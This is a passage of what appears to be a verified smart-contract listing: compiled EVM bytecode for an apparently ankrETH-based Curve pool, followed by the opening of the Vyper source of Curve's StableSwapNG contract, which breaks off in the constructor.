2041861522657905060e0511161522657612708565b60c05160e051600a810281600a82041861522657905010615226575b60c051600c5560e051600d5542600e55602435600f557fa2b71ec6df949300b59aab36b55e189697b750119dd349fcfa8c0f779e83c25460c0516101005260e051610120524261014052602435610160526080610100a1005b60206154335f395f5163f851a44060c052602060c0600460dc845afa612789573d5f5f3e3d5ffd5b60203d106152265760c0518060a01c61522657610100526101009050513318615226576127b660e061323c565b60e05160c05260c051600c5560c051600d5542600e5542600f557f46e22fb3709ad289f62ce63d469248536dbc78d82b84a3d7e74ad606dc20193860c05160e0524261010052604060e0a1005b60206154335f395f5163f851a440604052602060406004605c845afa61282b573d5f5f3e3d5ffd5b60203d10615226576040518060a01c61522657608052608090505133186152265764012a05f2006004351161522657600435600a556802b5e3af16b188000060243560043580820281158383830414171561522657905090501161522657602435600b557f750d10a7f37466ce785ee6bcb604aac543358db42afbcc332a3c12a49c80bf6d6040600460403760406040a1005b60206154335f395f5163f851a440604052602060406004605c845afa6128e6573d5f5f3e3d5ffd5b60203d10615226576040518060a01c6152265760805260809050513318615226576024356004350215615226576004356023556024356024557f68dc4e067dff1862b896b7a0faf55f97df1a60d0aaa79481b69d675f2026a28c6040600460403760406040a1005b5f5ffd5b6fffffffffffffffffffffffffffffffff60405111615226576fffffffffffffffffffffffffffffffff606051116152265760605160801b60405117815250565b602060405160206154535f395f518110156152265760051b6080016153f3015f395f516370a0823160e0523061010052602060e0602460fc845afa6129da573d5f5f3e3d5ffd5b60203d106152265760e090505160c05260a051612af6576060511561522657602060405160206154535f395f518110156152265760051b6080016153f3015f395f516323b872dd60e05260805161010052306101205260605161014052602060e0606460fc5f855af1612a4f573d5f5f3e3d5ffd5b3d612a6657803b1561522657600161016052612a7e565b60203d106152265760e0518060011c61522657610160525b6101609050511561522657602060405160206154535f395f518110156152265760051b6080016153f3015f395f516370a0823160e0523061010052602060e0602460fc845afa612ad0573d5f5f3e3d5ffd5b60203d106152265760e090505160c051808203828111615226579050905060c052612b27565b60c0516040516001548110156152265760020154808203828111615226579050905060c05260605160c05110615226575b60405160015481101561522657600201805460c051808201828110615226579050905081555060c051815250565b608051156152265760206156935f395f51612c1e576040516001548110156152265760020180546060518082038281116152265790509050815550602060405160206154535f395f518110156152265760051b6080016153f3015f395f5163a9059cbb60a05260805160c05260605160e052602060a0604460bc5f855af1612bdf573d5f5f3e3d5ffd5b3d612bf657803b1561522657600161010052612c0e565b60203d106152265760a0518060011c61522657610100525b6101009050511561522657612d24565b602060405160206154535f395f518110156152265760051b6080016153f3015f395f516370a0823160c0523060e052602060c0602460dc845afa612c64573d5f5f3e3d5ffd5b60203d106152265760c090505160a052602060405160206154535f395f518110156152265760051b6080016153f3015f395f5163a9059cbb60c05260805160e05260605161010052602060c0604460dc5f855af1612cc4573d5f5f3e3d5ffd5b3d612cdb57803b1561522657600161012052612cf3565b60203d106152265760c0518060011c61522657610120525b610120905051156152265760a051606051808203828111615226579050905060405160015481101561522657600201555b565b60206156b35f395f5160208160051b01806156b360403950505f60206154135f395f516008811161522657801561303a57905b8061016052600160206101605160206155735f395f518110156152265760051b6101a0016153f3015f395f5118612db65760206101605160206157d35f395f518110156152265760051b610400016153f3015f395f511515612db8565b5f5b612ee757600360206101605160206155735f395f518110156152265760051b6101a0016153f3015f395f511861302f57670de0b6b3a7640000610160516040518110156152265760051b6060015160206101605160206154535f395f518110156152265760051b6080016153f3015f395f516307a2d13a6101805260206101605160206158f35f395f518110156152265760051b610520016153f3016101a0396020610180602461019c845afa612e71573d5f5f3e3d5ffd5b60203d106152265761018090505180820281158383830414171561522657905090506020610160516020615a135f395f518110156152265760051b610640016153f3015f395f51808202811583838304141715615226579050905004610160516040518110156152265760051b6060015261302f565b60206101605160206157d35f395f518110156152265760051b610400016153f3015f395f5173ffffffffffffffffffffffffffffffffffffffff811690508060a01c615226575a7fffffffff0000000000000000000000000000000000000000000000000000000060206101605160206157d35f395f518110156152265760051b610400016153f3015f395f51166101e05260206101c0526101c05060206102206101c0516101e08585fa90509050612fa2573d5f5f3e3d5ffd5b3d602081183d60201002186102005261020080516101805260208101516101a0525060206101805118615226576101a0516101805160200360031b1c6101c052670de0b6b3a7640000610160516040518110156152265760051b606001516101c051808202811583838304141715615226579050905004610160516040518110156152265760051b606001525b600101818118612d59575b505060405160208160051b01808382604060045afa50505050565b5f6040525f610160525f60206154135f395f516008811161522657801561316d57905b806101805260206156935f395f516130c557610180516001548110156152265760020154610180516010548110156152265760110154808203828111615226579050905061016052613143565b60206101805160206154535f395f518110156152265760051b6080016153f3015f395f516370a082316101a052306101c05260206101a060246101bc845afa613110573d5f5f3e3d5ffd5b60203d10615226576101a09050516101805160105481101561522657601101548082038281116152265790509050610160525b6040516007811161522657610160518160051b606001526001810160405250600101818118613078575b505060405160208160051b01808382604060045afa50505050565b5f610280525f60206154135f395f516008811161522657801561321f57905b806103a052610280516007811161522657670de0b6b3a76400006103a0516040518110156152265760051b606001516103a051610160518110156152265760051b61018001518082028115838383041417156152265790509050048160051b6102a001526001810161028052506001018181186131a7575b50506102805160208160051b0180838261028060045afa50505050565b600f54604052600d5460605260405142106132605760605181525061334556613345565b600c54608052600e5460a052608051606051116132e257608051606051608051034260a0518082038281116152265790509050808202811583838304141715615226579050905060405160a051808203828111615226579050905080156152265780820490509050808203828111615226579050905081525061334556613345565b608051608051606051034260a0518082038281116152265790509050808202811583838304141715615226579050905060405160a05180820382811161522657905090508015615226578082049050905080820182811061522657905090508152505b565b5f610180525f6040516008811161522657801561339157905b8060051b606001516101a052610180516101a051808201828110615226579050905061018052600101818118613360575b5050610180516133a4575f8152506135bd565b610180516101a0526101605160206153f35f395f5180820281158383830414171561522657905090506101c0525f60ff905b806101e0526101a051610200525f6040516008811161522657801561343f57905b8060051b6060015161022052610200516101a05180820281158383830414171561522657905090506102205180156152265780820490509050610200526001018181186133f7575b50506102005160206153f35f395f5160206153f35f395f510a80156152265780820490509050610200526101a0516102205260646101c051610180518082028115838383041417156152265790509050046102005160206153f35f395f51808202811583838304141715615226579050905080820182811061522657905090506101a051808202811583838304141715615226579050905060646101c051606481038181116152265790506101a051808202811583838304141715615226579050905004600160206153f35f395f51016102005180820281158383830414171561522657905090508082018281106152265790509050801561522657808204905090506101a052610220516101a05111613582576001610220516101a0518082038281116152265790509050116135ad576101a05183525050506135bd566135ad565b60016101a051610220518082038281116152265790509050116135ad576101a05183525050506135bd565b6001018181186133d65750505f5ffd5b565b60605160405114615226575f606051126152265760206154135f395f516060511215615226575f604051126152265760206154135f395f516040511215615226576101c051610200526101e0516102205260603661024037610220516102a0526102005160206153f35f395f5180820281158383830414171561522657905090506102c0525f6008905b806102e05260206154135f395f516102e051186136655761371f565b6040516102e0511861367d57608051610260526136ab565b6060516102e05114613714576102e05160a0518110156152265760051b60c00151610260526136ab56613714565b61024051610260518082018281106152265790509050610240526102a0516102205180820281158383830414171561522657905090506102605160206153f35f395f518082028115838383041417156152265790509050801561522657808204905090506102a0525b600101818118613649575b50506102a051610220518082028115838383041417156152265790509050606481028160648204186152265790506102c05160206153f35f395f518082028115838383041417156152265790509050801561522657808204905090506102a0526102405161022051606481028160648204186152265790506102c0518015615226578082049050905080820182811061522657905090506102e05261022051610300525f60ff905b80610320526103005161028052610300516103005180820281158383830414171561522657905090506102a0518082018281106152265790509050610300518060011b818160011c186152265790506102e0518082018281106152265790509050610220518082038281116152265790509050801561522657808204905090506103005261028051610300511161388757600161028051610300518082038281116152265790509050116138b2576103005183525050506138c2566138b2565b600161030051610280518082038281116152265790509050116138b2576103005183525050506138c2565b6001018181186137c75750505f5ffd5b565b600b5460a0526402540be40060a051116138e357608051815250613982565b60405160605180820182811061522657905090506fffffffffffffffffffffffffffffffff8111615226576002810a905060c0526402540be4006402540be40060a051038060021b818160021c186152265790506040518082028115838383041417156152265790509050606051808202811583838304141715615226579050905060c051801561522657808204905090500160805160a05102048152505b565b6fffffffffffffffffffffffffffffffff60405116815260405160801c602082015250565b60206153f35f395f5161016051026101a05260206153f35f395f5160206153f35f395f510a61018051046101c0525f60206154135f395f5160088111615226578015613a4357905b806101e0526101c0516101805180820281158383830414171561522657905090506101e0516040518110156152265760051b60600151801561522657808204905090506101c0526001018181186139f1575b50505f6101e05260646101a05160405115615226575f60051b6060015180820281158383830414171561522657905090500461030052600160078101905b806103205260206153f35f395f516103205118613a9d57613b57565b6101e051600781116152265761030051610320516040518110156152265760051b606001516101c05160405115615226575f60051b606001518082028115838383041417156152265790509050048082018281106152265790509050670de0b6b3a7640000810281670de0b6b3a7640000820418615226579050610300516101c0518082018281106152265790509050801561522657808204905090508160051b6102000152600181016101e05250600101818118613a81575b50506101e05160208160051b018083826101e060045afa50505050565b6040516060527ffffffffffffffffffffffffffffffffffffffffffffffffdc0d0570925a462d760405113613bac575f815250613dc4565b680755bf798b4a1bf1e46040511315613c1b5760106080527f7761645f657870206f766572666c6f770000000000000000000000000000000060a0526080506080518060a001601f825f031636823750506308c379a06040526020606052601f19601f6080510116604401605cfd5b6503782dace9d9604051604e1b056060526b8000000000000000000000006bb17217f7d1cf79abc9e3b39860605160601b050160601d6080526bb17217f7d1cf79abc9e3b39860805102606051036060526d02d16720577bd19bf614176fe9ea6060516c10fe68e7fd37d0007b713f7650606051010260601d0160a05279d835ebba824c98fb31b83b2ca45c0000000000000000000000006060516e0587f503bb6ea29d25fcb74019645060a0516d04a4fd9f2a8b96949216d2255a6c60605160a05101030260601d01020160c0526d0277594991cfc85f6e2461837cd96060516c240c330e9fb2d9cbaf0fd5aafc606051030260601d0160e0526d1a521255e34f6a5061b25ef1c9c460605160e0510260601d0360e0526db1bbb201f443cf962f1a1d3db4a560605160e0510260601d0160e0526e02c72388d9f74f51a9331fed693f1560605160e0510260601d0360e0526e05180bb14799ab47a8a8cb2a527d5760605160e0510260601d0160e05260e05160c051056101005274029d9dc38563c32e5c2f6dc192ee70ef65f9978af3610100510260805160c3035f8112615226571c8152505b565b6fffffffffffffffffffffffffffffffff6101205116610180526101205160801c6101a05242610160511015613ec65761014051670de0b6b3a764000061016051420302048060ff1c615226577f80000000000000000000000000000000000000000000000000000000000000008114615226575f03604052613e4a6101e0613b74565b6101e0516101c052670de0b6b3a7640000610180516101c05180670de0b6b3a764000003670de0b6b3a7640000811161522657905080820281158383830414171561522657905090506101a0516101c0518082028115838383041417156152265790509050808201828110615226579050905004815250613ece565b6101a0518152505b565b602554604052613ee16104e0613984565b6104e060406104a060408360045afa505060195460208160051b015f81601f0160051c60098111615226578015613f2d57905b80601901548160051b6104e00152600101818118613f14575b505050506104e05160208160051b0180610600826104e060045afa5050506103405160208160051b018060408261034060045afa50505061046051610160526104805161018052613f7f6108406139a9565b610840805160208160051b0180610720828560045afa505050505f6008905b806108405260206153f35f395f51600181038181116152265790506108405118613fc757614096565b61084051610720518110156152265760051b61074001511561408b5761084051610720518110156152265760051b6107400151671bc16d674ec80000818118671bc16d674ec800008310021890506108a052610840516104e0518110156152265760051b610500015161012052602354610140526104a0516101605261404e610860613dc6565b610860516108c0526040604060406108a060045afa5061406f610880612952565b6108805161084051610600518110156152265760051b61062001525b600101818118613f9e575b50506106005160208160051b015f81601f0160051c600981116152265780156140d457905b8060051b610600015181601901556001018181186140bb575b5050505060225461084052610480516108a0526108405161012052602454610140526104c05161016052614109610860613dc6565b610860516108c0526040604060406108a060045afa5061412a610880612952565b610880516022555f6002905b80610860524261086051600181116152265760051b6104a00151101561416c574261086051600181116152265760051b6104a001525b6001018181186141365750506104a0516040526104c051606052614191610860612952565b61086051602555565b6141a5610c2061323c565b610c2051610c00526109805160208160051b018060408261098060045afa505050610c0051610160526141d9610c40613347565b610c4051610c2052610bc051604052610be051606052610960516080526109805160208160051b018060a08261098060045afa505050610c00516101c052610c20516101e05261422a610c606135bf565b610c6051610c4052610be051610980518110156152265760051b6109a00151610c4051808203828111615226579050905060018103818111615226579050610c60526402540be400610c6051610bc051610980518110156152265760051b6109a0015161096051808201828110615226579050905060011c604052610be051610980518110156152265760051b6109a00151610c4051808201828110615226579050905060011c606052600a546080526142e5610ca06138c4565b610ca051808202811583838304141715615226579050905004610c8052610c6051610c80518082038281116152265790509050670de0b6b3a7640000810281670de0b6b3a7640000820418615226579050610be051610aa0518110156152265760051b610ac0015180156152265780820490509050610c6052610be051601054811015615226576011018054610be051610aa0518110156152265760051b610ac001516402540be400610c805164012a05f20081028164012a05f20082041861522657905004670de0b6b3a7640000810281670de0b6b3a76400008204186152265790500480820182811061522657905090508155506109805160208160051b0180610ca08261098060045afa50505061096051610bc051610ca0518110156152265760051b610cc00152610c4051610be051610ca0518110156152265760051b610cc00152610ca05160208160051b018061034082610ca060045afa505050610c005161046052610c20516104805261445d613ed0565b610c6051815250565b610e0051610de0511461522657610e20511561522657614487610fc0612d26565b610fc0805160208160051b0180610ea0828560045afa505050506144ac6110e0613055565b6110e0805160208160051b0180610fc0828560045afa50505050610ea05160208160051b0180604082610ea060045afa505050610fc05160208160051b018061016082610fc060045afa505050614504611200613188565b611200805160208160051b01806110e0828560045afa50505050610de051604052610e2051606052610dc051608052610e805160a052614545611220612993565b6112205161120052610de0516110e0518110156152265760051b6111000151670de0b6b3a764000061120051610de051610ea0518110156152265760051b610ec0015180820281158383830414171561522657905090500480820182811061522657905090506112205261122051610960526110e05160208160051b0180610980826110e060045afa505050610ea05160208160051b0180610aa082610ea060045afa505050610de051610bc052610e0051610be05261460661126061419a565b6112605161124052610e40516112405110156146a657602e611260527f45786368616e676520726573756c74656420696e20666577657220636f696e73611280527f207468616e2065787065637465640000000000000000000000000000000000006112a05261126050611260518061128001601f825f031636823750506308c379a061122052602061124052601f19601f61126051011660440161123cfd5b610e005160405261124051606052610e60516080526146c3612b55565b337f8b3e96f2b889fa771c53c981b40daf005f63f637f1869f707052d15a3dd97140610de051611260526112005161128052610e00516112a052611240516112c0526080611260a261124051815250565b6103c05160208160051b01806040826103c060045afa5050506104e05160208160051b0180610160826104e060045afa505050614752610740613188565b610740805160208160051b0180610620828560045afa505050506106205160208160051b018060408261062060045afa5050506106005161016052614798610740613347565b61074051815250565b5f606051126152265760206154135f395f516060511215615226576060366101c0376101a0516102205260405160206153f35f395f518082028115838383041417156152265790509050610240525f6008905b806102605260206154135f395f516102605118614810576148b2565b60605161026051146148a757610260516080518110156152265760051b60a001516101e05261483e566148a7565b6101c0516101e05180820182811061522657905090506101c052610220516101a05180820281158383830414171561522657905090506101e05160206153f35f395f51808202811583838304141715615226579050905080156152265780820490509050610220525b6001018181186147f4575b5050610220516101a0518082028115838383041417156152265790509050606481028160648204186152265790506102405160206153f35f395f51808202811583838304141715615226579050905080156152265780820490509050610220526101c0516101a0516064810281606482041861522657905061024051801561522657808204905090508082018281106152265790509050610260526101a051610280525f60ff905b806102a052610280516102005261028051610280518082028115838383041417156152265790509050610220518082018281106152265790509050610280518060011b818160011c186152265790506102605180820182811061522657905090506101a05180820382811161522657905090508015615226578082049050905061028052610200516102805111614a1a5760016102005161028051808203828111615226579050905011614a4557610280518352505050614a5556614a45565b60016102805161020051808203828111615226579050905011614a4557610280518352505050614a55565b60010181811861495a5750505f5ffd5b565b614a6261042061323c565b6104205161040052614a75610540612d26565b610540805160208160051b0180610420828560045afa505050506104205160208160051b01806108a08261042060045afa505050614ab4610660613055565b610660805160208160051b01806109c0828560045afa5050505061024060406102406108a060045afa50614ae9610780613188565b610780805160208160051b0180610540828560045afa505050506105405160208160051b018060408261054060045afa5050506104005161016052614b2f610680613347565b610680516106605260285461068052610660516103c051610660518082028115838383041417156152265790509050610680518015615226578082049050905080820382811161522657905090506106a052610400516040526103e0516060526105405160208160051b018060808261054060045afa5050506106a0516101a052614bbb6106e06147a1565b6106e0516106c052600160206153f35f395f510360021b60206153f35f395f51600a5402046106e0526105405160208160051b01806107008261054060045afa50505060206153f35f395f5160011b610660516106a05180820182811061522657905090500461082052608036610840375f6008905b806108c05260206154135f395f516108c05118614c4d57614daa565b5f610840526108c051610540518110156152265760051b6105600151610860526103e0516108c05118614cdf57610860516106a051808202811583838304141715615226579050905061066051801561522657808204905090506106c051808203828111615226579050905061084052610860516106c051808201828110615226579050905060011c61088052614d2b565b61086051610860516106a0518082028115838383041417156152265790509050610660518015615226578082049050905080820382811161522657905090506108405261086051610880525b61088051604052610820516060526106e051608052614d4b6108e06138c4565b6108e0516108a052610860516402540be4006108a0516108405180820281158383830414171561522657905090500480820382811161522657905090506108c051610700518110156152265760051b6107200152600101818118614c31575b50506103e051610700518110156152265760051b6107200151610400516040526103e0516060526107005160208160051b018060808261070060045afa5050506106a0516101a052614dfd6108e06147a1565b6108e05180820382811161522657905090506108c0526103e051610540518110156152265760051b61056001516106c0518082038281116152265790509050670de0b6b3a7640000810281670de0b6b3a76400008204186152265790506103e051610420518110156152265760051b6104400151801561522657808204905090506108e0526103e051610420518110156152265760051b61044001516108c05160018103818111615226579050670de0b6b3a7640000810281670de0b6b3a7640000820418615226579050046108c0526106c0516103e051610540518110156152265760051b61056001526108c05181526108e0516108c051808203828111615226579050905060208201526105405160208160051b016040830181818361054060045afa50505050610400516101608201526106a05161018082015250565b602854606051808203828111615226579050905060285560266040516020525f5260405f20805460605180820382811161522657905090508155505f6040517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60605160805260206080a3565b60206154335f395f5163cab4d3db610160526020610160600461017c845afa614fd5573d5f5f3e3d5ffd5b60203d1061522657610160518060a01c615226576101a0526101a0905051610140526101405161500457615115565b60105460208160051b015f81601f0160051c6009811161522657801561503f57905b80601001548160051b6101600152600101818118615026575b505050505f60206154135f395f51600881116152265780156150d257905b806102805261028051610160518110156152265760051b6101800151156150c7576102805160405261028051610160518110156152265760051b6101800151606052610140516080526150ae612b55565b5f61028051610160518110156152265760051b61018001525b60010181811861505d575b50506101605160208160051b015f81601f0160051c6009811161522657801561511057905b8060051b610160015181601001556001018181186150f7575b505050505b565b6020615bf35f395f51461461519f577fd87cd6ef79d4e2b95e15ce8abf732db51ec771f1ca2edccf22a46c729ac564726060526020615bd36080397f1c54f243822e0e9a0a377610b81577e771b3efe79964e76636b0d5d10247950d60a0524660c0523060e0526020615c136101003960c060405260408051602082012090508152506151a8565b6020615c338239505b565b60266040516020525f5260405f208054608051808203828111615226579050905081555060266060516020525f5260405f20805460805180820182811061522657905090508155506060516040517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60805160a052602060a0a3565b5f80fd0299538309065752a30a809452480d1cfc52e90c008153c207076c533d0ad40ddb8c1550652081066c00dc059c4258c4011a053931ab5219c72554fd4d5001c90576a9cd3e255e455e604cd2156085b72df5de03f4651a4d01d20bff6567df02ca207a6529357750006705e2e7d26400f425ec0238621a1025fd0684b124f20518160ddd220405a9059cbb1baa4570a0823102372530c5408519ac05ddca3f43009d055e0d443f21266506fdde03013205a7256d0903fe85c66106570075258edfdd5f00a905ddc1f59d02dea5cc2b27d721d24590d2083719f3253644e515206805313ce56701be05081579a50c09851ddc3b01012605d505accf1d3de5bfa0b13302c60595d89b410178051be913a5010e057706db750e1765fee3f7f900b505095ea7b31cd54514f0597924860565bbea6b28be45907a016b1b7705b4b577ad00d0054903b0d1245e2523b872dd1bdb65687276531b27252969e04a157aa5551a65882761051405228800e8055409491a00c405015c28382803454a6e32c60e21857ecebe0002a0257e3db030035d85dd62ed3e025d45bb7b8b802219053c157e6426034576a2f0f0244e053df0212402d485f446c1d02435053db06dd8232565afb430120367a5000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000006a8cbed756804b16e05e741edabd5cb544ae21bf0000000000000000000000000000000000000000000000000000000000000002000000000000000000000000fa2629b9cf3998d52726994e0fcdb750224d8b9d000000000000000000000000e95a203b1a91a908f9b9ce46459d101078c2c3cb000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000de0b6b3a76400000000000000000000000000000000000000000000000000000de0b6b3a76400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002679aefce00000000000000008bc73134a736437da780570308d3b37b67174ddb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000011696e616e6b724554482f616e6b724554480000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a637276696e616b4554480000000000000000000000000000000000000000000076794e91b2d9f0c38b78ab1cc82b60d20e48b1bbf180527384078814830d403c00000000000000000000000000000000000000000000000000000000000000013c1b16fe23747591e663fdbd91a21ab9dd9f9df0e95531f220f633bd364c60de737b419425afdcf26537fd4a9cec28c5e6d50726bd27af3d15a70a5ae506dc7a
# pragma version 0.3.10 # pragma optimize codesize # pragma evm-version shanghai """ @title CurveStableSwapNG @author Curve.Fi @license Copyright (c) Curve.Fi, 2020-2023 - all rights reserved @notice Stableswap implementation for up to 8 coins with no rehypothecation, i.e. the AMM does not deposit tokens into other contracts. The Pool contract also records exponential moving averages for coins relative to coin 0. @dev Asset Types: 0. Standard ERC20 token with no additional features. Note: Users are advised to do careful due-diligence on ERC20 tokens that they interact with, as this contract cannot differentiate between harmless and malicious ERC20 tokens. 1. Oracle - token with rate oracle (e.g. wstETH) Note: Oracles may be controlled externally by an EOA. Users are advised to proceed with caution. 2. Rebasing - token with rebase (e.g. stETH). Note: Users and Integrators are advised to understand how the AMM contract works with rebasing balances. 3. ERC4626 - token with convertToAssets method (e.g. sDAI). Note: Some ERC4626 implementations may be susceptible to Donation/Inflation attacks. Users are advised to proceed with caution. NOTE: Pool Cannot support tokens with multiple asset types: e.g. ERC4626 with fees are not supported. Supports: 1. ERC20 support for return True/revert, return True/False, return None 2. ERC20 tokens can have arbitrary decimals (<=18). 3. ERC20 tokens that rebase (either positive or fee on transfer) 4. ERC20 tokens that have a rate oracle (e.g. wstETH, cbETH, sDAI, etc.) Note: Oracle precision _must_ be 10**18. 5. ERC4626 tokens with arbitrary precision (<=18) of Vault token and underlying asset. Additional features include: 1. Adds price oracles based on AMM State Price (and _not_ last traded price). 2. Adds TVL oracle based on D. 3. `exchange_received`: swaps that expect an ERC20 transfer to have occurred prior to executing the swap. Note: a. If pool contains rebasing tokens and one of the `asset_types` is 2 (Rebasing) then calling `exchange_received` will REVERT. b. If pool contains rebasing token and `asset_types` does not contain 2 (Rebasing) then this is an incorrect implementation and rebases can be stolen. 4. Adds `get_dx`: Similar to `get_dy` which returns an expected output of coin[j] for given `dx` amount of coin[i], `get_dx` returns expected input of coin[i] for an output amount of coin[j]. 5. Fees are dynamic: AMM will charge a higher fee if pool depegs. This can cause very slight discrepancies between calculated fees and realised fees. """ from vyper.interfaces import ERC20 from vyper.interfaces import ERC20Detailed from vyper.interfaces import ERC4626 implements: ERC20 # ------------------------------- Interfaces --------------------------------- interface Factory: def fee_receiver() -> address: view def admin() -> address: view def views_implementation() -> address: view interface ERC1271: def isValidSignature(_hash: bytes32, _signature: Bytes[65]) -> bytes32: view interface StableSwapViews: def get_dx(i: int128, j: int128, dy: uint256, pool: address) -> uint256: view def get_dy(i: int128, j: int128, dx: uint256, pool: address) -> uint256: view def dynamic_fee(i: int128, j: int128, pool: address) -> uint256: view def calc_token_amount( _amounts: DynArray[uint256, MAX_COINS], _is_deposit: bool, _pool: address ) -> uint256: view # --------------------------------- Events ----------------------------------- event Transfer: sender: indexed(address) receiver: indexed(address) value: uint256 event Approval: owner: indexed(address) spender: indexed(address) value: uint256 event TokenExchange: buyer: indexed(address) sold_id: int128 tokens_sold: uint256 bought_id: int128 tokens_bought: uint256 event TokenExchangeUnderlying: buyer: indexed(address) sold_id: int128 tokens_sold: uint256 bought_id: int128 tokens_bought: uint256 event AddLiquidity: provider: indexed(address) token_amounts: DynArray[uint256, MAX_COINS] fees: DynArray[uint256, MAX_COINS] invariant: uint256 token_supply: uint256 event RemoveLiquidity: provider: indexed(address) token_amounts: DynArray[uint256, MAX_COINS] fees: DynArray[uint256, MAX_COINS] token_supply: uint256 event RemoveLiquidityOne: provider: indexed(address) token_id: int128 token_amount: uint256 coin_amount: uint256 token_supply: uint256 event RemoveLiquidityImbalance: provider: indexed(address) token_amounts: DynArray[uint256, MAX_COINS] fees: DynArray[uint256, MAX_COINS] invariant: uint256 token_supply: uint256 event RampA: old_A: uint256 new_A: uint256 initial_time: uint256 future_time: uint256 event StopRampA: A: uint256 t: uint256 event ApplyNewFee: fee: uint256 offpeg_fee_multiplier: uint256 event SetNewMATime: ma_exp_time: uint256 D_ma_time: uint256 MAX_COINS: constant(uint256) = 8 # max coins is 8 in the factory MAX_COINS_128: constant(int128) = 8 # ---------------------------- Pool Variables -------------------------------- N_COINS: public(immutable(uint256)) N_COINS_128: immutable(int128) PRECISION: constant(uint256) = 10 ** 18 factory: immutable(Factory) coins: public(immutable(DynArray[address, MAX_COINS])) asset_types: immutable(DynArray[uint8, MAX_COINS]) pool_contains_rebasing_tokens: immutable(bool) stored_balances: DynArray[uint256, MAX_COINS] # Fee specific vars FEE_DENOMINATOR: constant(uint256) = 10 ** 10 fee: public(uint256) # fee * 1e10 offpeg_fee_multiplier: public(uint256) # * 1e10 admin_fee: public(constant(uint256)) = 5000000000 MAX_FEE: constant(uint256) = 5 * 10 ** 9 # ---------------------- Pool Amplification Parameters ----------------------- A_PRECISION: constant(uint256) = 100 MAX_A: constant(uint256) = 10 ** 6 MAX_A_CHANGE: constant(uint256) = 10 initial_A: public(uint256) future_A: public(uint256) initial_A_time: public(uint256) future_A_time: public(uint256) # ---------------------------- Admin Variables ------------------------------- MIN_RAMP_TIME: constant(uint256) = 86400 admin_balances: public(DynArray[uint256, MAX_COINS]) # ----------------------- Oracle Specific vars ------------------------------- rate_multipliers: immutable(DynArray[uint256, MAX_COINS]) # [bytes4 method_id][bytes8 <empty>][bytes20 oracle] rate_oracles: immutable(DynArray[uint256, MAX_COINS]) # For ERC4626 tokens, we need: call_amount: immutable(DynArray[uint256, MAX_COINS]) scale_factor: immutable(DynArray[uint256, MAX_COINS]) last_prices_packed: DynArray[uint256, MAX_COINS] # packing: last_price, ma_price last_D_packed: uint256 # packing: last_D, ma_D ma_exp_time: public(uint256) D_ma_time: public(uint256) ma_last_time: public(uint256) # packing: ma_last_time_p, ma_last_time_D # ma_last_time has a distinction for p and D because p is _not_ updated if # users remove_liquidity, but D is. # shift(2**32 - 1, 224) ORACLE_BIT_MASK: constant(uint256) = (2**32 - 1) * 256**28 # --------------------------- ERC20 Specific Vars ---------------------------- name: public(immutable(String[64])) symbol: public(immutable(String[32])) decimals: public(constant(uint8)) = 18 version: public(constant(String[8])) = "v7.0.0" balanceOf: public(HashMap[address, uint256]) allowance: public(HashMap[address, HashMap[address, uint256]]) total_supply: uint256 nonces: public(HashMap[address, uint256]) # keccak256("isValidSignature(bytes32,bytes)")[:4] << 224 ERC1271_MAGIC_VAL: constant(bytes32) = 0x1626ba7e00000000000000000000000000000000000000000000000000000000 EIP712_TYPEHASH: constant(bytes32) = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract,bytes32 salt)") EIP2612_TYPEHASH: constant(bytes32) = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)") VERSION_HASH: constant(bytes32) = keccak256(version) NAME_HASH: immutable(bytes32) CACHED_CHAIN_ID: immutable(uint256) salt: public(immutable(bytes32)) CACHED_DOMAIN_SEPARATOR: immutable(bytes32) # ------------------------------ AMM Setup ----------------------------------- @external def __init__( _name: String[32], _symbol: String[10], _A: uint256, _fee: uint256, _offpeg_fee_multiplier: uint256, _ma_exp_time: uint256, _coins: DynArray[address, MAX_COINS], _rate_multipliers: DynArray[uint256, MAX_COINS], _asset_types: DynArray[uint8, MAX_COINS], _method_ids: DynArray[bytes4, MAX_COINS], _oracles: DynArray[address, MAX_COINS], ): """ @notice Initialize the pool contract @param _name Name of the new plain pool. @param _symbol Symbol 